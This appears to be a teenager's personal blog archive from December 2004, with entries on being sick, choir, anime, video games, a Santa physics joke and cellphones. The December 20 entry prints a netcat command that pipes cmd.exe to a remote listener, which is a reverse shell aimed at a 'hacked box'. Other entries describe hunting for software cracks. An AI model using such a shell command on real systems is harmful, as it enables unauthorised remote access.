December 31, 2004


     That may have been the most miserable 24 hours of my life. I'm not posting anymore than that...

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December 30, 2004

Sick am I, entry short will be

     I've been out of bed for a total of 3 hours. 2.5 of which was spent eagerly awaiting the time to go to Will Craft's party. The other .5 of which was spent puking and calling to tell Will that I was puking and would therefore be unable to attend his party.

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December 29, 2004


I'm going to do some more stuff... hold on... be... right... back...

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December 28, 2004

I'll be the envy of Eric(s?) everywhere!

     Check it out everybody! I'm listed on H*R Wikipedia! Check out there mirrors in the links section.

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December 27, 2004

Real spam today, not just assholes

Today I logged onto the blog and found that I had 194 comments which were all small variations of:

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December 25, 2004

Merry/Happy whatever the hell you celebrate!

Merry Christmas! (Note: not my tree, not my house)

Happy Chanukah!

Happy Kwanzaa?

Dignified Ramadan?!?

Oh right, and a happy ignoring-everbody-else day Atheists!

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December 24, 2004

Making some interesting updates

     I'm working on some updates for my blog. It'll mostly be some backround stuff, but you may have already noticed two of my sillier updates. Anyway, besides that it's Christmas Eve, and so I kinda have to make this brief. I'll just tell you that some major stuff may be comming. I can't really say what, where, or why, but it's going to be soon, and it's going to be awesome. Tommorow's entry will be more awesome. I know all I seem to be talking about is the furture and how awesome it's going to be, but that's just the way it is. Sorry for the lack of stuff happening, but it's Christmas week people! Deal with my laziness!

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December 23, 2004

Scuzzstuff has finally crashed

     Well, I knew it would happen eventually: Scuzzstuff was finally unable to handle the strain of all the people who were visiting during school hours and the machine just collapsed. I tried booting it back up but my internet connection started to slowly die, and then the server collapsed again. So as a temporary solution, I moved to (note: you should still link through scuzzstuff, because if I ever change the address again, you can be assured that scuzzstuff will still link to it). It reduces the loading time a lot, but I don't want to keep it here, because it increases my risk of having added to block lists. What I relly want to do is build a p2p "messy" network and host it on a whole bunch of machines across the country. Which would not only reduce the loading times to almost 0, but it would also make sure that the network was not only completely unblockable but would be very nifty. Anyway, I'm kinda doing other stuff. Maybe I'll have something special when things aren't so crazy.

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December 22, 2004

Choir Sings!

     There was a choir concert today. It went well enough. Everyone thought our little dance for "Get me to the Church on Time" was hilarious (and quite sadly enough it was because it looked so stupid), and we had fun just singing all the crap we sang. Anyway, as per due to the fact that I'm feeling lazy and am really, really tired, I'm gonna cut today's entry short to. But hey! Tommorow's the last day for school and then WINTER BREAK! woot.

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December 21, 2004

Once, I too was a title-less blog entry. But no I hath been duly titled

     Anyway, I was buying Christmas presents today. It was probably my first big outing in the car by myself. But it did put a $140 hole in my pocket, and it's still not done. No entry due to the fact that I need sleep.

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December 20, 2004

Nintendo DS (again), I Robot, and some stuff you'll probably never understand

     Wireless on airplanes? So anyway, the short(er) piece of this story is that the FCC decidedto allow wireless devices (Wireless-G and Wireless-B (I also assume Wireless-A, but I'm not sure about this) the only reason I noted this was because this does not include cell phones, those are other kinds of wireless signals) on airplanes. This means that one of my arguments about the Nintendo DS (the part about being banned on airplanes) is null and void, and therefore one chunk of my argument is gone, but the thing still stands on it's own, it has yet to collapse into an unrecognizably stupid argument.
     Anyway, I also watched I-Robot, and it turned out to blow. Yes, it sucked some serious ass. To quote the Isaac Asimov Home Page "The film is billed as 'suggested by Isaac Asimov's book', meaning that it incorporates some elements of the robot stories that appeared in Asimov's 1950 short story collection. The film started as a screenplay titled 'Hardwired' by screenwriter Jeff Vintar. Then, with the permission of Asimov's estate, the title was changed and the story modified to use some characters and plot elements from Asimov's stories. The final product clearly contains some of Asimov's ideas, but a story that belongs to Vintar and fellow screenwriter Akiva Goldsman." As you can tell, the web page suggests that the movie doesn't really reflect anything about the books except the title and the use of the three laws. Okay: I'm not going to say anymore (but he will).
     And now onto the section that, as the title of the entry suggests, you probably won't understand. This section is really just to vent that I can't find a simple and suitable way of piping data both to and from a netcat listener to a netcat projector. The command nc -l -p 10000 -n -vv|nc iptoconnectto 10001 -n -vv should take any incomming data on port 10000 and then pipe it to a listening computer on port 10001. What I wished it would do, is that if I piped... let's say a command prompt through it (nc ipofbuffer 10000 -n -vv -e cmd.exe) the output (as expected) is put onto the screen of the listener which is on computer iptoconnectto. The issue that I've found, is that once I have this remote prompt access, the pipe doesn't allow me to pass any data back to the prompt that I now have access to. So I can't send data from iptoconnectto to the hacked box. The pipe only seems to allow data to go one way. Bummer.

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December 19, 2004

Eva was awesome... up until they tried to be clever

     Well I just watched the end of Evangelion. My conclusion? Their premise blows. Despite writing and animating a full two hours of their ideas, the basis for these ideas was flawed. They basically outlined their ideas on life, the universe, and everything. But they made one simple mistake:
     Their entire argument was basically that: One choses to percieve the universe and that becomes reality for that person. The way that one defines themselves is through the perception of others, and so without others, you lack existance. They go on to fill in some gaps. Things like why people are insecure and that the only solution is complete and total annailation, but we'll glaze over that for now. Here's the break in their ideas though:
     If one truly defines their own universe based on their own wishes, then they run into the problem that to maintain existance, you require others. Because by yourself, you lack self-image and therefore cannot exist in a recognizable form. Therefore, to exist, you need at least two people. But if this happens, then there is a flaw in the premise: you are no longer defining your own reality if there are two people. You also run into confliction: what is this other person? Can they exist as people themselves? Or are they shells desinged to define yourself as you wish to be seen? Well, asuming that we want to keep the premise of "You define your own reality," the latter must be true. But then these are just facets of oneself, no better than if you were in a solitary reality. This would also imply, that current existance is all facets of the same person. And here's where we run into trouble: Does this imply that this is our own universe? Or are we facets of an original, and the original has just spawned all possible facets of his personality in every degree and combination to facilitate existance? If the latter was true, then this explains the "emptiness" that all humans feel and is another basis for their conclusions:
     They said towards the beginning of their philisophical ramble that we are part of an "instrumentality" and that the only way to complete this was to have the fundemental structure of our universe completely and utterly annahilated, and have everything return to a universal "oness." But there's a flaw here as well: This implies that the original flaw is true! We are no longer individuals capable of defining our own existance, but facets of one who created the existance. There was an attempt to come up with a viable phiosophy, and much to my dismay for many people it was a very good philosophy, but the flaw still remains: To create your own existance, one must be alone. But to be alone is to not exist, so how can one create their own universe without others?

Goddamnit. Why couldn't they have just thought up a good ending and fucking explained Lillith and Lillim?! Their philosphy was shitty, and their psychoanalysis was interesting at the beginning, but I'm not stupid, and I didn't need to have you spell it out for me for four episodes. I wanted you to realize that you created a complex bunch of characters who needed conclusion. They didn't need a bunch of questions thrown at them until they broke down crying in non-existance. GAH! GAAAAAAH!

I hate you Brian (and if you don't remember why: I hate you more)

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December 18, 2004

Just don't feel right today

     I'm sure you've all heard the phrase:
     "You're unique!" And I'm sure what you've also heard is the contradiction behind this:
     "You're unique: Just like everyone else!" Well than by that logic:
     "You're not unique, and therefore, inherently, not like everyone else." I'm confused.

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December 17, 2004

Like I said

When I have more time and have gotten farther into Eva...

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December 16, 2004


     Sorry about the lack of postage today, I got a new Anime series. Dunno how I like it so far. It's called Neon Genesis Evangelion. Only complaint after getting through three and a half episodes is that the main character spazed a lot at the beginning for no apparent reason. The only diserable thing that may have happened that made him that angry and scared is that his dad basically said: "Why no, I don't love you, and, if it wasn't for the fact that we needed you to pilot this giant robot, you wouldn't be here." But he doesn't seem to spaz about that. And also, some of the psychoanalysis is kinda weird. It just seems like they're all trying to be psychologists. Eh. More updates when I have time and I'm further into the series.

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December 15, 2004

Woot for Kit

Guess what? I can DRIVE!

Yeah, I know there's a lot of information crossed off, it's cause this is something that, if copied, would be bad. It also has a lot of information on it I don't care to give out. And if you're here trying to copy it, SHOO!

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December 14, 2004

Nintendo DS

     Well I recently played the Nintendo DS, and as I'm sure many of you guessed (and many of you may have heard), the Nintendo DS is really awkward. Where shall I begin...
     My first complaint about the DS is that it's enormous. I know that to fit in the 2 monitors, touch screen sensing equipment, and the wireless card takes a lot of space, it doesn't really seem like it's very managable. The other thing that's weird about it is the two screen system itself. With the two screens you're often left glancing back and forth. Sure it's innovative, but still difficult to manage unless you can really devote all your concentration to playing. Besides that, most games couldn't even think of a way to combine the touch screen with the gameplay, so it's just left wasting battery power displaying stats or a map. And even the games that do implement the touch screen have problems with either: A) Too hard to use styles at the same time as pay attention to the top or B) There's an odd device they include which allows you to use your thumb in place of the stylus, but it doesn't stay on your finger very well and it's hard to control it.
     And one thing that doesn't bother a lot of people but gives me pause, is that use of the DS on an Airplane will be 100% restricted. Though this is also true with the PSP, the PSP's design is a lot different, which I'll describe after it's been released. Back to the DS, so if you think you'll be able to use the DS on an airplane to releive your boredom, think again. The built in wirless feature would pose a risk to the navigational equipment. Now, I'm sure many of you are thinking that: "Well if wireless devices are banned, why aren't laptops with built in wireless banned?" Well the reason behind this is that the wireless on laptops does not project signals that interfere with plane equip unless you connect to a network (which, I'd hope, would be impossible on an airplane), or if your comp hosts wireless connections. Now this actually happen on airplanes, and normally it doesn't cause any more than nominal interference, but the only reason that they restrict the use of wireless devices at all is just that there is the possibility that something could interfere big time, and it only takes one big malfunction to cause a deadly crash.
      My last complaint about the DS is the rechargable battery. The rechargable battery is very useful a lot of the time because you save on batteries and it also means that you can plug your GB directly into the wall. But what it also means is that if your batteries ever went dead while being out, you'd have to wait until you get to a socket, and leave it plugged in until it's fully charged. One thing that very people realize about rechargeable batteries is that you have to fully discharge them and recharge them to retain their power. So many of you "top off" your batteries or will charge them for a couple of hours and then just keep using it. This actually reduces battery life and makes it so that no matter how much you charge the batteries again, it will be limited and dies faster and faster until you're forced to replace them. It just bothers me when I know I'm being forced to buy extra products from Nintendo to keep my gaming system working the way I want it to.
     Anyway, all in all, I think that the DS is a very cool system (I never thought I'd play Super Mario 64 on a handheld!), but it has some major design flaws which I think should have been rectified before release. In fact, I think that it was released so hastily that we'll have another "GBA SP" situation where in a few months, they'll fix many (if not all of the issues) and re-release the system under another very similar name. This will be another blow to Nintendo's already failing reliability to be a good video gaming company.

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December 13, 2004

And now I realize: Eric IS the only reader!

     As recent analysis concludes, the only current reader of my blog is Eric. Hi Eric! Not much point in prolonging this pain of knowing Eric is the only reader and just give you a game and go. Ciao Eric.

Multi-Dimensional Thief

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December 12, 2004

And yet I think at this point Eric is the only reader

Even though I'm sure the only person who will notice (and hell he's working on the same projects I am!) I feel like I should post something today. So here is the best video on the net: Rejected

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December 11, 2004

So cool, you'll probably shit your pants

     I just found this site called google talk. You type in the beginning of a sentence, and it uses goole to complete it. Check it out!
Here are some of the things Google said to me:
     1) I wish I had a dollar for every dollar of revenue generated by the property tax administrator and the Board of Directors of The National Association of Estate Agents.
     2) If only It were True By John December john Charles, Fremont and THE US Department of State. Legislatures on the Internet. Archive Recent Additions. to the terms of Use. and Abuse. of OLDER People in the US Department of State.
     3) I'm wearing a Dress that is the sky blue? Why is THE sky blue? Why is THE sky blue? Why is THE sky blue?
     4) How is it that I can t go For That. No can Do) by Hall Oates. Shot did did did did DID DID DID
     5) Only monkeys can do it, By the book By Robert Browning
     6) There's something fishy going on. Here. A christian website that offers a wide range of Abilities and Its Impact on the environment
     7) Jokes are only funny if you like This site please HELP! me! with my PURCHSING PLEASE! anybody
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     9) What should I do with my life? The True Story of the Three Little Pigs Once Upon a time in Mexico a film that would be King. The First American in space.
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     11) You are the real World. Linux Security. module For Apache x Ski boots. for Men) and Women s health.
     12) Kit is the perfect Time to Start a Business, in Michigan. A Primer for THE Design of the UNIX operating System. th th TH TH
     13) Kit is a racket. by Major Ingredient. in diet Definition: of the United States Department of State.
     14) If I only had a Brain. If i Only had A Brain. Heart/ Nerve

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December 10, 2004


     Today I got an N64 for $15 at CD/Game exchange. I don't have any games for it right now (mainly because I only had $17 and I had to take the metro home), but I still love the N64 and I had 'em ship me Legend of Zelda, Ocarina of time. Anyway, in responce to Eric's complaints that I stole ideas, I have to say that refrencing a song that your dead uncle gave you (sung by a different choir no less) and having a single chemistry joke (which wasn't even on the page I linked to), is not idea theft. Especially considering the fact that I haven't been keeping up with his blog as of late, as per due to the fact that I was busy this week. Now that I've had my mini-rant about Eric (who seems a little over-protective as of late), on to more pressing matters! Like why the F@#% I haven't updated this week!
     Well this week was fairily hectic. It started out normally enough, but as the week progressed I got more and more frustrated. I feel like this week nothing was accomplished. It felt very weird. I got exasperated quickly. But to top it off, I had to work on my group project a lot more this week. So I was spending more and more time at Ashwin's house recording. And of course we're doing video editing at my house, so I had to get an editing app to get ready. And the moment I did install it? I started getting an error message whenever I viewed a page with embedded video or sound files. The message was basically: EXPLORER has caused an invalid page fault in module The way to fix it? Rename and to mcspmpeg.old and mcdsmpeg.old it worked, but it was weird as hell. Oh yeah, and I finally got the last disc of Azumanga Daioh.

Most important news of the previous five days?
I've now officially caught up with 12 weeks of Java programming. I now qualify to take the Java III AP exam.

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December 09, 2004


More news on this at... well... tommorow.

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December 08, 2004

Cop-out 2000!

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December 07, 2004

Santa Claus: An objective analysis

     1) No known species of reindeer can fly. BUT there are 300,000 species of living organisms yet to be classified, and while most of these are insects and germs, this does not COMPLETELY rule out flying reindeer which only Santa has ever seen.

     2) There are 2 billion children (persons under 18) in the world. BUT since Santa doesn't (appear) to handle the Muslim, Hindu, Jewish and Buddhist children, that reduces the workload to 15% of the total - 378 million according to Population Reference Bureau. At an average (census)rate of 3.5 children per household, that's 91.8 million homes. One presumes there's at least one good child in each.

     3) Santa has 31 hours of Christmas to work with, thanks to the different time zones and the rotation of the earth, assuming he travels east to west(which seems logical). This works out to 822.6 visits per second. This is to say that for each Christian household with good children, Santa has 1/1000th of a second to park, hop out of the sleigh, jump down the chimney, fill the stockings, distribute the remaining presents under the tree, eat whatever snacks have been left, get back up the chimney, get back into the sleigh and move on to the next house. Assuming that each of these 91.8 million stops are evenly distributed around the earth (which, of course, we know to be false but for the purposes of our calculations we will accept), we are now talking about .78 miles per household, a total trip of 75-1/2 million miles, not counting stops to do what most of us must do at least once every 31 hours, plus feeding and etc. This means that Santa's sleigh is moving at 650 miles per second, 3,000 times the speed of sound. For purposes of comparison, the fastest man- made vehicle on earth, the Ulysses space probe, moves at a poky 27.4 miles per second - a conventional reindeer can run, tops, 15 miles per hour.

     4) The payload on the sleigh adds another interesting element. Assuming that each child gets nothing more than a medium-sized lego set (2 pounds), the sleigh is carrying 321,300 tons, not counting Santa, who is invariably described as overweight. On land, conventional reindeer can pull no more than 300 pounds. Even granting that "flying reindeer" (see point #1) could pull TEN TIMES the normal anoint, we cannot do the job with eight, or even nine. We need 214,200 reindeer. This increases the payload - not even counting the weight of the sleigh - to 353,430 tons. Again, for comparison - this is four times the weight of the Queen Elizabeth.

     5) 353,000 tons traveling at 650 miles per second creates enormous air resistance - this will heat the reindeer up in the same fashion as spacecrafts re-entering the earth's atmosphere. The lead pair of reindeer will absorb 14.3 QUINTILLION joules of energy. Per second. Each. In short, they will burst into flame almost instantaneously, exposing the reindeer behind them, and create deafening sonic booms in their wake.The entire reindeer team will be vaporized within 4.26 thousandths of a second. Santa, meanwhile, will be subjected to centrifugal forces 17,500.06 times greater than gravity. A 250-pound Santa (which seems ludicrously slim)would be pinned to the back of his sleigh by 4,315,015 pounds of force.

     In conclusion - If Santa ever DID deliver presents on Christmas Eve, he's dead now.

     I thought this was great! If you liked it and want to see more, check out chemistry and physics jokes page (Most of these jokes are lame beyond belief, I think everyone who participated in the making of this page was probably attacked by a lynch mob, but the Santa analysis may have redeemed them).

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December 06, 2004

Hitchhiker's Guide to the Galaxy

     Considering the fact that the last time I read The Hitchhiker's Guide to the Galaxy series was almost four years ago, I decided I'd open it back upa and read it again. Man is it a funny book. I completely forgot about most of the jokes, and a good few of them are still a tad bit to English/British for me to catch. In other news I fear that I may be beginning to see the first signs of my eyesight failing. Yeah, I started noticing today that things seem a little more unfocused than usual. What the real solution (or at least real temporary solution) would be to replace the monitor my computer is using. The only reason Ipoint this out is because the monitor itself is incredibly unfocused, and I think my eyes may be adjusting to compensate. And while this is good for my computer usage time, it's bad for my "everything else" time.
     Anyway, now that I've head my dose of "healthy self paranoia," let's move on to something more exciting. Well, maybe not more exciting but less whiny than health issues. As per their once a year goal, the group project ninjas have decided that it would be a grand time for a 200 point group assignment. And, of course as all my other Whitman friends know, this is a great crunch time for teachers, and so, all my teachers are crunching. I now have two long term assignments that are both worth a majority of my grade, and neither of which are very much fun. Bleck. I'm feeling really weird tonight. I don't thinkI can wrap this up as thoroughly as it needs to be wrapped up to be a blog entry to my satisfaction. Hmmmmmmm. Well, here's what I'm going to say instead:
     I need to get out more. Some demensia is starting to set in from all the nothing I've been up to recently, and I think that my eyesight is going, and if I don't get off my lazy ass and start exercising now, I'm going to be ft and unhappy for the rest of my life. Besides Brian's house and school, I haven't realy been out of my house in the last two weeks, and so I think that I need to cut back on my computer time. What I actually need to work on is figuring out some form of exercise that I find fun. Unfortunately at this point, I can only really think of jogging and weight-lifting as good active things to participate in, and I find both of these things extremely dull. Now I'm sure you're saying: "Well it's dull if you jog on a machine, but if you take different routes each day, joggin out doors could probably be fun enough..." Well unfortunately this would also require active motivation as long asI was doing it. And active motivation is what I lack most. The only considerable period of time I exercised for was when I was at my Aunt Tracy's ranch. There I worked for two weeks and lost about ten pounds. Following which, I came home and gained it all back. There, I had a reason to exercise: You either did it, or you got labled a whiny bitch and were sent home. So, I did it. But I don't have that need here. I guess what I'm really saying is that the only thing that could get my lazy, unmotivated ass out of this chair once a day for an hour would probably be a good, swift kick to the crotch. Not that I'm recommending that anyone kick me, it's just that I can't think of any reason why I'd want to besides personal health, which I have a tendancy to rationalize away. Fuck.

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December 05, 2004

Fuxxed it

     Yup, fuxxed it good. Fuxxed is a word meaning that I fixed it, but I caused the issue in the first place. Anyway, it turned out what I was trying to crack didn't work anyway (note to self: test applications before attempting to crack them). But I figured out how to do what I was trying to do anyway. The only issue is that the way I do it requires me to not have anything else running. Oh well, I'll manage. That reminds me: if you're ever going to download a crack or keygen don't use the site It's a giant software list that claims to have cracks and keygens for all the software on it's lists. Of course all the links just lead you to which, when run, will just fuck up your machine good. In other words don't download or evenlook at that webpage. Just going to the page itself (without the proper software) will force you to install "mysearchbar" which is an irremovable bar that goes into internet explorer that will forcible destroy everything that you love.
     On a side note, due to the fact that it basically it took me all of yesterday (and a little bit of today) to fix this issue, I won't be updating any more today. Well... I may, but I hope to keep your hopes down. G'night.

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December 04, 2004

When things go wrong in the world of Kit

     Bleck. I'm feeling kinda stupid today. I was looking for some cracking software. And for some odd reason nowadays that's way harder than it should be. The thing that makes it odd though, is not that companies are cracking down on the people making cracks, it's that more people who make cracks, now make entire webpages devoted to fake cracks which are just viruses and spyware bundled. So anyway, I downloaded an app that looked a tad suspect (or, at least more suspect than usual), and of course I ran it in a protected environment etc, etc. But unfortunately due to the way the guy made it, it wasn't recognized as being malichious, because all it did was download other files that were malichious. Normally this wouldn't have been too much of an issue to take care of, but my virus definitions were out of date, and so when it started to get out of hand, it REALLY got out of hand. So I got all my stuff together, ordered a frsh subscription to Norton Anti-Virus 2003, and scanned it. So far it hasen't found anything. What's more important though, was the impressive abilities (once again) of Ad-Aware.
     It managed to delete 4,836 pieces of spyware (3,000 of which were just cookies though, so not all that impressive). That was most of the issue. It also found 2 actual running spyware applications, 3 "process modules" and 10 files, 4 folders, and a couple "possible hijack attempts." All the things it found were related to the dropper application, but it did basically render me computerless for a day. Anyway, I'm gonna go keep working on that. I'll be back soon to tell you weather or not I had to junk my comp for it.

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December 03, 2004

A few quick remarks on Super Mario Sunshine

     Well I just replayed the last 2 stages of Mario Sunshine for my friend. Yes, I know there are a million reviews, just let me bitch about it too! Although I enjoyed the gameplay, but I thought that both the plot and the voices sucked. While certainly I don't normally expect much depth from Super Mario game... Well, here's a little overview of the plot:
     Someone disguised as Mario is going around plastering "graffitti" all over town. This "graffitti" actually causes pain on contact, and monsters spring from it. Of course, the only thing the people who live here notice, is the fact that when they are covered in goop they try desparately to shake it off, and you have to spray them with water. Nevermind the monsters, they're not a nusence. Anyway, since this evil mario is going around giving you a bad name, you have to go clean up the mess. Of course, about two levels into the game they throw in the princess getting kidnapped by... Baby Bowser? Who was apparently the one masquarading as Mario due to a "Magic Wand" which some "mysterious stranger" gave to him. Now the reason Baby Bowser kidnapps princess Peach is because he is under the misconception that Peach is his mother. Now, if you think about that for just one second.... How did Bowser's *ahem* seed get into Princess. Like... one of those times she was kidnapped did Bowser like.... ugh... You get my general drift at why this plot bothers me. Anyway, this is backed up by some crappy voices too. Bowser sounds like a skinny nerd disguising his voice as... Bowser. Which in the end makes him sound awful and awkward. Peach sounds a little too much like a ten year old girl who's never spoken to anyone except for her Mom's hired housewife. Mario's and Baby Bowser's voices are fine. Certainly not fantastic, but not awful. Anyway, I liked the gameplay for the most part, but the fact that they don't give you a "restart level" option after you die annoyed me.
     The only other part that really bothered me about this game is at the very end, in an attempt to add drama, your backpack "dies" for about two seconds. But since all it ever did was provide unhelpful advice and get stolen rendering you completly helpless. So when (I'm guessing it's battery) died you didn't care, and he had the ultra super-sappy line: "Did I do a good... job..." before... becoming an inanimate object. Oh wait! He totally WAS an imanimate object! Or he was if you TURNED HIM OFF! He's a fucking machine! Go buy a new water pack! GAH! Then the end credits roll about 20 seconds later where he was miraculasly alive and proclaims: "Now let's get this party started!" After which I killed the scriptwriter.

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December 02, 2004

A rant about my recent rants?

     I have homework and stuff. And although I was going to put out another rant tonight, it was feeling awfully generic and I've been doing a lot of rants as of late. You know, I've been feeling kinda bi-polar as of late. Like, I've just realized that it seems like I spend a couple months being perfectly happy and chipper, and then I'll spend another few months just angry and depressed. Like recently, I just have this overwhelming feeling of: "My god this is annoying" or "jesus christ that person is a dumbfuck" or even more prevolent "dear god do I feel like just doing nothing." I also just sort of have this underlying rage at pretty much anyone who talks to me. Don't know why, just feels like I do. Blah.
     Anyway, for the technically inclined (and even the not so technically inclined), here is something I recently found on the net that I think is amazing: A complete index of CMD.exe commands and A good list of commands that can be called from dlls using rundll32. That's all for today. I hope I'm not comming off as too whiny in these recent entries....

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December 01, 2004

I hate cellphones

     Most of you who read this are probably either too young or had parents who were too busy and therefore don't remember the time before cellphones. For those few who do remember, can't you remember how everything seemed so less rushed? Nothing from work could really come home with you, and so when your parents got home, they were home. And everyday cellphones are responsible for hundreds if not thousands of crashes. What is so important nowadays that it can't wait till you get where you are going? Don't you remember? Either you did it at work or you did it at home. Sure, it may seem more convient, but really it's not. It's a pain in the ass to talk on your cell phone and drive at the same time, and even those who are good at it still pose a considerable risk to other drivers.
      But more importantly than that, people's live have become way more complex now that cell phones are a part of them. Not that it's nessecarily a bad thing to have cell phones sometimes, but think about this. When was the last time your mom/dad had to call you in the middle of something and pick you up? When was the last time you made plans on the fly while you were already out? How many times have those plans ended up conflicting with other plans and making your life more rushed? When was the last time you really got to sit down and take a break when your cellphone was nearby, and it rang? Do we really need more stress added to our lives? It was just proven that stress causes people to die earlier and age faster. Is that what you want? To die early cause you lived your life too stressfully?
      Now certainly cell phones can be a useful thing. When you need to change your plans a cell phone is plenty useful. Or when you need to call your Mom to pick you up from the movies, sure! A cell phone is useful. But what about all those other times? What plausible reason could you need to have your cell phone on in class? Lots of people take the dumbass excuse out: "What if my Mom needs to call me or text me?" When was the last time your mom called you during fourth period to remember to do something? When was the last time your Mom texted you in the middle of chemistry? Well duh. Of course she hasn't! SO WHY THE FUCK DO YOU KEEP IT ON?! Hell, why not just ask your mom to leave you a message and check it in between periods if it really just can't wait? And if you didn't already know, it's technically a violation of school rules to even turn on your cell phone while on school property (even before or after school it's against school policy). But hey, you NEED to be able to recieve calls from your friends who are skipping class and faking sickness don't you? I thought so.

Oh yeah, I thought I'd just congratulate Eric on completing the Kit-One-Month-Challenge to new bloggers; you can find his blog here. You may have to watch every Strong Bad e-mail ever written to get a lot of the jokes he uses.

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